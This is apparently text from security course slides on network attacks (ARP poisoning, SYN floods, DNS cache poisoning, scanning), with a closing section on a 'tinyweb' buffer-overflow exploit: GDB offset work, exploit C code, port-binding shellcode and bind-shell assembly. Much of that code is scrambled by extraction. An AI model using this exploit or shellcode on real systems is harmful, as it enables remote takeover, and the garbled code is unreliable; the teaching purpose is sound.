Networking For Offensive Security TCP

Outline
Next, well look at specific protocols

SSH secure shell SSL security on the Web IPsec security at the IP layer Kerberos symmetric key system GSM mobile phone (in)security
You need to know the basic ideals and be able to analyze why they are secure or not secure using what we covered in Chapter 9
However, you are not required to know the implementation details If you are interested in the details, you can take the network security class or read more about them
If you have any questions, I will be more happy to help.
Read Chapter 10
2/6/2013 2:57:59 PM
networking-for-offensive-security.ppt
OSI Reference Model

The layers
7: Application, e.g., HTTP, SMTP, FTP 6: Presentation 5: Session 4: Transport, e.g. TCP, UDP 3: Network, e.g. IP, IPX 2: Data link, e.g., Ethernet frames, ATM cells 1: Physical, e.g., Ethernet media, ATM media
Standard software engineering reasons for thinking about a layered design

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TCP/IP Model
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Message Mapping to the Layers

L7 App
SVN update message
L4 TCP
S P
D P
Segment 1
S P
D P
Segment 2
L3 IP
S A
D A
S P
D P
Packet 1
S A
D A
S P
D P
Pack 2
L2 Eth
S M
D M
S A
D A
S P
D P
Packet1
S M
D M
S A
D A
S P
D P
Pack 2
Communications bit stream

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Network Layer - IP
Moves packets between computers
Possibly on different physical segments Best effort
Technologies
Routing Lower level address discovery (ARP) Error Messages (ICMP)
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Address Spoofing
Sender can put any source address in packets he sends:
Can be used to send unwelcome return traffic to the spoofed address Can be used to bypass filters to get unwelcome traffic to the destination
Reverse Path verification can be used by routers to broadly catch some spoofers
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Address Resolution Protocol (ARP)

Used to discover mapping of neighbouring Ethernet MAC to IP addresses.
Need to find MAC for 192.168.1.3 which is in your interface's subnetwork Broadcast an ARP request on the link Hopefully receive an ARP reply giving the correct MAC The device stores this information in an ARP cache or ARP table
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ARP cache poisoning

Bootstrap problem with respect to security. Anyone can send an ARP reply
The Ingredients to ARP Poison, http://www.airscanner.com/pubs/arppoison.pdf
Classic Man-in-the-middle attack

Send ARP reply messages to device so they think your machine is someone else Can both sniff and hijack traffic
Solutions
Encrypt all traffic Monitoring programs like arpwatch to detect mapping changes
Which might be valid due to DHCP
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IPv4 Routing
How do packets on the Internet find their destination?
Forwarding: each router decides where the packet should go next Routing: setting up forwarding rules in each router
Forwarding is emergent behavior

Each router autonomously decides where a packet should go Routing tries to ensure that all these decisions in concert work well
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Routing
How are forwarding tables set up? Manual static routes
Works well for small networks with default routes
Automatic dynamic routes

OSPF / RIP for internal routes BGP for external routes
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BGP
Internet split up into Autonomous Systems (ASes) Each AS advertises networks it can reach
Aggregates networks from its neighbor ASes in advertisements Uses local policies to decide what to re-advertise
When setting up routes:

Pick the most specific advertisement Use the shortest AS path Adjust with local policy
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Prefix Hijacking
Some ASes may advertise the wrong prefix Case study: Pakistan Telecom
Wanted to block YouTube Routes 208.65.153.0/24 to bit bucket Advertises route to rest of the world!
Problem:
People close to Pakistan use the bad route People far away from Pakistan use bad route, too
YouTube uses less specific advertisement, 208.65.152.0/22
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BGP DoS
BGP uses TCP connection to communicate routes and test reachability Attacks on TCP connections are possible
Send reset Low-resource jamming
Result: cut arbitrary links on the Internet

Easier than cutting cables!
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Internet Control Message Protocol (ICMP)

Used for diagnostics
Destination unreachable Time exceeded, TTL hit 0 Parameter problem, bad header field Source quench, throttling mechanism rarely used Redirect, feedback on potential bad route Echo Request and Echo reply, ping Timestamp request and Timestamp reply, performance ping Packet too big
Can use information to help map out a network

Some people block ICMP from outside domain
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Multihomed Hosts
A mutlihomed host is a host with multiple IP addresses
Strong ES (End System) Model Weak ES Model
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Strong ES Model
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Weak ES Model
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Remote Attacks Against SOHO Routers
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Smurf Attack
An amplification DoS attack
A relatively small amount of information sent is expanded to a large amount of data
Send ICMP echo request to IP broadcast addresses. Spoof the victim's address as the source The echo request receivers dutifully send echo replies to the victim overwhelming it Fraggle is a UDP variant of the same attack
Parasmurf, a combination of Smurf and Fraggle attacks
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Smurf
ICMP echo (spoofed source address of victim) Sent to IP broadcast address ICMP echo reply
Internet
Perpetrator
Victim
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Smurf Amplifiers
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Firewalls
Sits between two networks
Used to protect one from the other Places a bottleneck between the networks
All communications must pass through the bottleneck this gives us a single point of control
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Protection Methods
Packet Filtering
Rejects TCP/IP packets from unauthorized hosts and/or connection attempts bt unauthorized hosts
Network Address Translation (NAT)

Translates the addresses of internal hosts so as to hide them from the outside world Also known as IP masquerading
Proxy Services
Makes high level application level connections to external hosts on behalf of internal hosts to completely break the network connection between internal and external hosts
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Transport Level TCP and UDP

Service to service communication. Multiple conversations possible between same pair of computers Transport flows are defined by source and destination ports Applications are associated with ports (generally just destination ports) IANA organizes port assignments http://www.iana.org/ Source ports often dynamically selected Ports under 1024 are considered well-known ports Would not expect source ports to come from the well-known range
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Well-Known Ports
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Reconnaissance
Port scanning
Send probes to all ports on the target See which ones respond
Application fingerprinting
Analyze the data returned Determine type of application, version, basic configuration Traffic answering from port 8080 is HTTP, Apache or Subversion
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Reliable Streams
Transmission Control Protocol (TCP)
Guarantees reliable, ordered stream of traffic Such guarantees impose overhead A fair amount of state is required on both ends
Most Internet protocols use TCP, e.g., HTTP, FTP, SSH, H.323 control channels
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TCP Header
Destination Port Sequence Number Acknowledgement number HDR Len U A P R S F R C S S Y I G K H T N N Checksum Window Size Urgent Pointer Options (0 or more words)
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Source Port
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Three Way Handshake

Machine A
SYN: seqno =100
Machine B
SYN: seqno =511
ACK = 101
ACK=512
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SYN Flood
A resource DoS attack focused on the TCP three-way handshake Say A wants to set up a TCP connection to B
A sends SYN with its sequence number X B replies with its own SYN and sequence number Y and an ACK of As sequence number X A sends data with its sequence number X and ACKs Bs sequence number Y
Send many of the first message to B. Never respond to the second message.
This leaves B with a bunch of half open (or embryonic) connections that are filling up memory Firewalls adapted by setting limits on the number of such half open connections.
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SYN Flood
Machine A
SYN: seqno=100
SYN: seqno=511 ACK = 101
Machine B
SYN: seqno=89 SYN: seqno=176 SYN: seqno=344
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SYN Cookies
Server chooses a sequence number carefully
Contains an encrypted bit that encodes server and client identity Called a SYN Cookie
Server does not have to store SYN request in table, it can reconstruct from sequence number passed back by legitimate client Uses some bits defined for TCP, but not often used
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SYN Cookie Construction

T = time-stamp, 64 bit resolution (by shifting) M = maximum TCP segment size (MSS) the server would have stored S = 24 bits resulting from cryptographic operation on (server IP, server port, client IP, client port, t) The initial sequence number returned by server is
31 8 S
0 5 Code for T mod 32 M
On receiving a response the server

Checks T bits to determine whether time-out has fired Checks S to reconstruct addresses Constructs entry for now established connection
networking-for-offensive-security.ppt 33
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Session Hijacking
Take over a session after the 3 way handshake is performed
After initial authentication too
Local
Can see all traffic. Simply inject traffic at a near future sequence number
Blind
Cannot see traffic Must guess the sequence number
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Session Hijacking
Client
Server
Attacker
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Domain Name System (DNS)

Hierarchical service to resolve domain names to IP addresses. The name space is divided into non-overlapping zones E.g., consider diablo.cs.fsu.edu. DNS servers in the chain. One for .edu, one for .fsu.edu, and one for .cs.fsu.edu Can have primary and secondary DNS servers per zone. Use TCP based zone transfer to keep up to date Like DHCP, no security designed in But at least the DNS server is not automatically discovered Although this information can be dynamically set via DHCP
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DNS Problems
DNS Open relays
Makes it look like good DNS server is authoritative server to bogus name Enables amplification DoS attack http://www.us-cert.gov/reading_room/DNSrecursion121605.pdf
DNS Cache Poisoning

Change the name to address mapping to something more desirable to the attacker http://www.lurhq.com/dnscache.pdf
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DNS Transaction
DNS Pictures thanks to http://www.lurhq.com/dnscache.pdf

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DNS Communication
Use UDP Requests and responses have matching 16 bit transaction Ids Servers can be configured as
Authoritative Nameserver
Officially responsible for answering requests for a domain
Recursive
Pass on requests to other authoritative servers
Both (this can be the problem)
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DNS Cache Poisoning

Older implementations would just accept additional information in a reply
e.g. A false authoritative name server
Now to spoof a reply must anticipate the correct transaction ID

Only 16 bits Random selection of ID isn't always the greatest
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Tricking the Transaction ID's
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DNSSEC
Seeks to solve the trust issues of DNS Uses a key hierarchy for verification Has been under development for a decade and still not really deployed Provides authentication, not confidentiality DNS Threat Analysis in RFC 3833.
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Efforts to Secure the Internet

The Internet was designed to efficiently transport data
Security is not a primary concern
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SSH
The secure shell, SSH, creates a secure tunnel so that commands can be secured
For example, in UNIX, to remotely login to a server, your password is sent in plaintext (such as rlogin, telnet)
Passwords can be easily snooped
By first establishing an SSH session, insecure commands become secure by providing confidentiality and integrity protection of the communication
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SSL/TSL
SSL is the protocol used for most secure transactions over the Internet For example, if you want to buy a book at amazon.com
You want to be sure you are dealing with Amazon (authentication) Your credit card information must be protected in transit (confidentiality and/or integrity) As long as you have money, Amazon doesnt care who you are (authentication need not be mutual)
10/23/2012 12:54:40 PM
week07-protocols-II.ppt
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Socket layer
Socket layer lives between application and transport layers SSL usually lies between HTTP and TCP
Socket layer
application transport network link physical
User
OS
NIC
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SSL MiM Attack

RA RA
Alice
certificateT, RB {S1}Trudy,E(X1,K1) h(Y1,K1) E(data,K1)
Trudy
certificateB, RB {S2}Bob,E(X2,K2) h(Y2,K2) E(data,K2)
Bob
Q: What prevents this MiM attack? A: Bobs certificate must be signed by a certificate authority (such as Verisign) What does Web browser do if the signature is not valid? What does user do if signature is not valid?
10/25/2012 1:30:54 PM
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CVE-2012-5456
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CVE-2012-5356
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CVE-2012-4930
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IPsec and SSL

IPsec lives at the network layer IPsec is transparent to applications
SSL
application transport
User
OS
IPsec
network link physical

NIC
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IKE and ESP/AH

Two parts to IPsec IKE: Internet Key Exchange
Mutual authentication Establish shared symmetric key Two phases like SSL session/connection
ESP/AH
ESP: Encapsulating Security Payload for encryption and/or integrity of IP packets
AH: Authentication Header integrity only
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IKE
IKE has 2 phases
Phase 1 IKE security association (SA) Phase 2 AH/ESP security association
Phase 1 is comparable to SSL session Phase 2 is comparable to SSL connection Not an obvious need for two phases in IKE If multiple Phase 2s do not occur, then it is more expensive to have two phases!
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IPsec Transport Mode

IPsec Transport Mode
IP header data IP header ESP/AH data
Transport mode designed for host-to-host Transport mode is efficient

Adds minimal amount of extra header
The original header remains

Passive attacker can see who is talking
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IPsec Tunnel Mode

IPsec Tunnel Mode
IP header data new IP hdr ESP/AH IP header data
Tunnel mode for firewall to firewall traffic Original IP packet encapsulated in IPsec Original IP header not visible to attacker
New header from firewall to firewall Attacker does not know which hosts are talking
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Comparison of IPsec Modes

Transport Mode
IP header data
IP header ESP/AH data
Transport Mode
Host-to-host
Tunnel Mode
Firewall-to-firewall
Tunnel Mode
IP header data new IP hdr
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Transport mode not necessary Transport mode is more efficient
ESP/AH
IP header data
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Wireless Discovery Tools

Two popular wireless network discovery tools
Kismet airdump-ng as part of the aircrack-ng suite However, I have not tried any of these tools myself
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Kismet
Description from its web site http://www.kismetwireless.net/
Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and (with appropriate hardware) can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic. Kismet also supports plugins which allow sniffing other media such as DECT. Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and inferring the presence of nonbeaconing networks via data traffic.
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Aircrack-ng suite (http://www.aircrack-ng.org/)
Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks.
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Other Wireless Tools

Asleap a tool to attack the challenge and response within
the EAP handshake performed on a wireless network using LEAP (Lightweight Extensible Authentication Protocol)
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Protocol Analysis Tools

Wireshark
The best open source network packet analyzer Intended primary purposes
Network administrators use it to troubleshoot network problems Network security engineers use it to examine security problems Developers use it to debug protocol implementations People use it to learn network protocol internals You can find many sample captures of various protocols at http://wiki.wireshark.org/SampleCaptures#Sample_Captures
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Protocol Analysis Tools

tcpflow
If you like to use UNIX commands and tools to perform analysis of network traffic, tcpflow is a program to capture all/some tcp traffic and save data into an easy to read file or files
For example, you can save all the tcp traffic to and from your local machine using tcpflow
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Host Discovery
Determining the liveness of a system
Within a local network by ARP scanning, use arpscan, nmap with PR and sn options, or cain ICMP host discovery
Ping is an obvious choice Nping SuperScan ICMP is seen as a security threat (even though it can provide valuable information)
Some networks allow ICMP both internally and externally, internally only, and none
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ICMP Message Types
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Host Discovery
TCP/UDP Host Discovery
Nmap
One can do a port scan in order to determine if a host is alive However, it is not scalable for a large network A practical solution?
Nping can be used to discover hosts via tcp/udp
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Host Discovery
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Determining Running Services

Port Scanning
By sending packets to TCP and UDP on the target system to determine what services are running or are in a LISTENING state Scan types
TCP connection scan TCP SYN scan TCP FIN scan TCP null scan TCP RPC scan UDP scan
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Port Scanning Tools

Nmap
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Port Scanning Tools

SuperScan (from http://www.mcafee.com/us/downloads/free-tools/superscan.aspx)
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TCP/IP Stack Fingerprinting

Based on the nuances among the implementation of TCP/IP stack from different vendors
As vendors often interpret specific RFC differently
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Service Fingerprinting
Trying to identify the version of software implementation
Nmap version scanning to identify vulnerabilities as they are often operating system and version specific Many of the steps can be integrated to create a vulnerability scanner
Which identifies the vulnerabilities based on databases of known vulnerability signatures Nessus
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Service Fingerprinting
Based on outputs from a servers reply
Called basic banner grabbing
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SNMP Enumeration
Simple Network Management Protocol (SNMP) provides internal information about network devices, software, and systems
Often protected by a simple password (like public) snmputil snmpwalk
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Scan Data Analysis

Mapping a target network can result in a large amount of data
Metasploit can be configured to use a database for managing data
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Port Binding Shellcode

One of the most common shellcodes for remote vulnerabilities is to bind a shell to a high port
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Vulnerability in the tinyweb.c

tinyweb .c#include "hacking-network.h"
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) { unsigned char *ptr, request[500], resource[500]; int fd, length; length = recv_line(sockfd, request);
hacking-network.h
int recv_line(int sockfd, unsigned char *dest_buffer) { #define EOL "\r\n" // End-of-line byte sequence #define EOL_SIZE 2Omit code unsigned char *ptr; to limit the int eol_matched = 0; length !! ptr = dest_buffer;
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Received bytes can overflow if
they exceed the dest_buffer size. tinyweb server program using this function are vulnerable to overflow attack.
Analysis with GDB

If the program requires root privileges, the debugger must be run as root. But using sudo or running with roots environment will change the stack. GDB attach to an already running tinyweb process that was started in another terminal.
reader@hacking:~/booksrc $ ps aux | grep tinyweb root 13019 0.0 0.0 1504 344 pts/0 S+ 20:25 0:00 ./tinyweb reader 13104 0.0 0.0 2880 748 pts/2 R+ 20:27 0:00 grep tinyweb reader@hacking:~/booksrc $ gcc -g tinyweb.c reader@hacking:~/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Attaching to process 13019 /cow/home/reader/booksrc/tinyweb: No such file or directory. A program is being debugged already. Kill it? (y or n) n
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To exploit the vulnerability

1. Search the offset from the start of a buffer to control the stored return address.
Breakpoint 2, handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62 62 length = recv_line(sockfd, request); (gdb) x/x request 0xbffff5c0: 0x00000000 (gdb) bt #0 handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62 #1 0x08048cf6 in main () at tinyweb.c:48 (gdb) x/16xw request+500
0xbffff7b4: 0xbffff7c4: 0xbffff7d4: 0xbffff7e4: 0xb7fd5ff4 0xb7ff9300 0xb7fd5ff4 0xbffff810 0xb8000ce0 0x00000000 0xbffff848 0xb7fd5ff4 0xbffff7e0 0xb7f691c0 0xbffff848 0x08048cf6 0x00000004 0xbffff80c 0xbffff834 0x00000004
(gdb) x/x 0xbffff7d4+8 0xbffff7dc: 0x08048cf6 0xbffff7dc (gdb) p 0xbffff7dc - 0xbffff5c0 0xbffff688 $1 = 540 0xbffff5c0 (gdb) p /x 0xbffff5c0+200 $2 = 0xbffff688 target return address
ESP SFP Rerutn addr. Sockfd 540 Request 78 [500]
Exploit for the tinyweb program

2. Uses the offset and return address overwrite values calculated with GDB.
1) It fills the first 540 bytes with NOP instructions. -builds the NOP sled. 2) It fills the buffer up to the return address overwrite location. 3) The entire string is terminated with the '\r\n' line terminator.
tinyweb_exploit.c
char shellcode[]= "\x31\xc0\x31\xe1\xcd\x80"; #define OFFSET 540 #define RETADDR 0xbffff688
Socket() connect()
// Standard shellcode
bzero(buffer, 600); // Zero out the buffer. memset(buffer, '\x90', OFFSET); // 1) Build a NOP sled. *((u_int *)(buffer + OFFSET)) = RETADDR; // 2) Put the return address in memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode. strcat(buffer, "\r\n"); // 3) Terminate the string.
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Port-Binding shellcode
When exploiting a remote program, spawning a shell locally is pointless. Port-binding shellcode listens for a TCP connection on a certain port and serves up the shell remotely.
New Line from tinyweb_exploit2.c

char shellcode[]= "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80" "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10" "\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80" "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f" "\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; // Port-binding shellcode on port 31337
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bind_port.c
#include <unistd.h> int main(void) { struct sockaddr_in host_addr, client_addr; // My address information sockfd = socket (PF_INET, SOCK_STREAM, 0); host_addr.sin_family = AF_INET; // Host byte order host_addr.sin_port = htons(31337); // Short, network byte order host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP. memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct. bind (sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)); listen (sockfd, 4); sin_size = sizeof(struct sockaddr_in); new_sockfd = accept (sockfd, (struct sockaddr *)&client_addr, &sin_size);
}
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Socketcall() socket system call

reader@hacking:~/booksrc $ grep socketcall /usr/include/asm-i386/unistd.h #define __NR_socketcall 102 reader@hacking:~/booksrc $ man 2 socketcall SYNOPSIS int socketcall (int call, unsigned long *args);
EAX - 102 (socketcall) EBX - socket call type ECX - pointer to the socket calls arguments
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #.... #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ 82
Sockaddr structure
Breakpoint 2, main () at bind_port.c:20 20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)); (gdb) print host_addr $1 = {sin_family = 2, sin_port = 27002, sin_addr = {s_addr = 0}, sin_zero = "\000\000\000\000\000\000\000"} (gdb) print sizeof(struct sockaddr) $2 = 16 (gdb) x/16xb &host_addr
0xbffff780: 0x02 0x00 0x7a 0x69 0x00 0x00 0x00 0x00 0xbffff788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb) p /x 27002 $3 = 0x697a (gdb) p 0x7a69 $4 = 31337

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bind_port.s
; s = socket(2, 1, 0) mov ecx, esp ; ecx = server struct pointer push BYTE 0x66 ; socketcall is syscall #102 (0x66). push BYTE 16 ; argv: { sizeof(server struct) = 16, pop eax push ecx ; server struct pointer, ; socket file descriptor } cdq ; Zero out edx for use as a null DWORD push later. esi mov ecx, esp ; ecx = argument array xor ebx, ebx ; ebx is the type of socketcall. int 0x80 ; eax = 0 on success inc ebx ; 1 = SYS_SOCKET = socket() ; listen(s, 0) push edx ; Build arg array: { protocol = 0, mov BYTE al, 0x66 ; socketcall (syscall #102) push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,inc ebx inc ebx ; ebx = 4 = SYS_LISTEN = listen() push BYTE 0x2 ; AF_INET = 2 } push ebx ; argv: { backlog = 4, mov ecx, esp ; ecx = ptr to argument array push esi ; socket fd } int 0x80 ; After syscall, eax has socket file descriptor. mov ecx, esp ; ecx = argument array mov esi, eax ; save socket FD in esi for later int 0x80 ; bind(s, [2, 31337, 0], 16) ; c = accept(s, 0, 0) mov BYTE al, 0x66 ; socketcall (syscall #102) push BYTE 0x66 ; socketcall (syscall #102) inc ebx ; ebx = 5 = SYS_ACCEPT = accept() pop eax push edx ; argv: { socklen = 0, inc ebx ; ebx = 2 = SYS_BIND = bind() push edx ; sockaddr ptr = NULL, push edx ; Build sockaddr struct: INADDR_ANY = 0 esi push ; socket fd } push WORD 0x697a ; (in reverse order) PORT = 31337 mov ecx, esp ; ecx = argument array 84 ; eax = connected socket FD push WORD bx ; AF_INET = int 2 0x80
Duplicating standard file descriptors

Sockets are just file descriptors that can be read from and written to. By swapping the standard input, output, and error of the spawned shell with the connected socket file descriptor, the shell will write output and errors to the socket and read its input from the bytes that the socket received. There is a system call specifically for duplicating file descriptors, called dup2. This is system call number is 63.
reader@hacking:~/booksrc $ grep dup2 /usr/include/asm-i386/unistd.h #define __NR_dup2 63 reader@hacking:~/booksrc $ man 2 dup2 NAME dup, dup2 - duplicate a file descriptor SYNOPSIS int dup2(int oldfd, int newfd);
85
New instructions from bind_shell1.s

; dup2(connected socket, {all three standard I/O file descriptors}) mov ebx, eax ; Move socket FD in ebx. push BYTE 0x3F ; dup2 syscall #63 ; execve(const char *filename, char *const argv [], char *const pop eax envp[]) BYTE al, 11 ; execve syscall #11 xor ecx, ecx ; ecx = 0 = standardmov input push edx ; push some nulls for string termination. int 0x80 ; dup(c, 0) push 0x68732f2f ; push "//sh" to the stack. mov BYTE al, 0x3F ; dup2 syscall #63 push 0x6e69622f ; push "/bin" to the stack. inc ecx ; ecx = 1 = standard output mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp. push ecx ; push 32-bit null terminator to stack. int 0x80 ; dup(c, 1) mov BYTE al, 0x3F ; dup2 syscall mov #63edx, esp ; This is an empty array for envp. push ebx ; push string addr to stack above null terminator. inc ecx ; ecx = 2 = standard error mov ecx, esp ; This is the argv array with string ptr. int 0x80 ; dup(c, 2) int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
86
Branching control structures

; dup2(connected socket, {all three standard I/O file descriptors}) mov ebx, eax ; Move socket FD in ebx. ; dup2(connected socket, {all three standard I/O file push BYTE 0x3F ; dup2 syscall #63 descriptors}) xchg eax, ebx ; Put socket FD in ebx and pop eax 0x00000005 in eax. xor ecx, ecx ; ecx = 0 = standard input push BYTE 0x2 ; ecx starts at 2. int 0x80 ; dup(c, 0) pop ecx mov BYTE al, 0x3F ; dup2 syscall #63 dup_loop: inc ecx ; ecx = 1 = standard output mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) int 0x80 ; dup(c, 1) dec ecx ; Count down to 0. mov BYTE al, 0x3F ; dup2 syscall #63 jns dup_loop ; If the sign flag is not set, ecx is inc ecx ; ecx = 2 = standard error not negative. int 0x80 ; dup(c, 2)
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Networking For Offensive Security TCP

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What is the OSI reference model and what are the layers?

What is the OSI reference model and what are the layers?

What is address spoofing and how can it be used maliciously?

What is address spoofing and how can it be used maliciously?

Outline

Next, well look at specific protocols

OSI Reference Model

Standard software engineering reasons for thinking about a layered design

Message Mapping to the Layers

SVN update message

Communications bit stream

Address Resolution Protocol (ARP)

ARP cache poisoning

Classic Man-in-the-middle attack

Forwarding is emergent behavior

Automatic dynamic routes

When setting up routes:

Result: cut arbitrary links on the Internet

Internet Control Message Protocol (ICMP)

Can use information to help map out a network

Strong ES (End System) Model Weak ES Model

Remote Attacks Against SOHO Routers

Network Address Translation (NAT)

Transport Level TCP and UDP

Three Way Handshake

SYN: seqno =511

SYN: seqno=89 SYN: seqno=176 SYN: seqno=344

SYN Cookie Construction

0 5 Code for T mod 32 M

On receiving a response the server

Domain Name System (DNS)

DNS Cache Poisoning

DNS Pictures thanks to http://www.lurhq.com/dnscache.pdf

Both (this can be the problem)

DNS Cache Poisoning

Now to spoof a reply must anticipate the correct transaction ID

Tricking the Transaction ID's

Efforts to Secure the Internet

application transport network link physical

SSL MiM Attack

certificateT, RB {S1}Trudy,E(X1,K1) h(Y1,K1) E(data,K1)

certificateB, RB {S2}Bob,E(X2,K2) h(Y2,K2) E(data,K2)

IPsec and SSL

network link physical

IKE and ESP/AH

AH: Authentication Header integrity only

IPsec Transport Mode

Transport mode designed for host-to-host Transport mode is efficient

The original header remains

IPsec Tunnel Mode

Comparison of IPsec Modes

Transport mode not necessary Transport mode is more efficient

Wireless Discovery Tools

Wireless Discovery Tools

Wireless Discovery Tools

Other Wireless Tools

Protocol Analysis Tools

Protocol Analysis Tools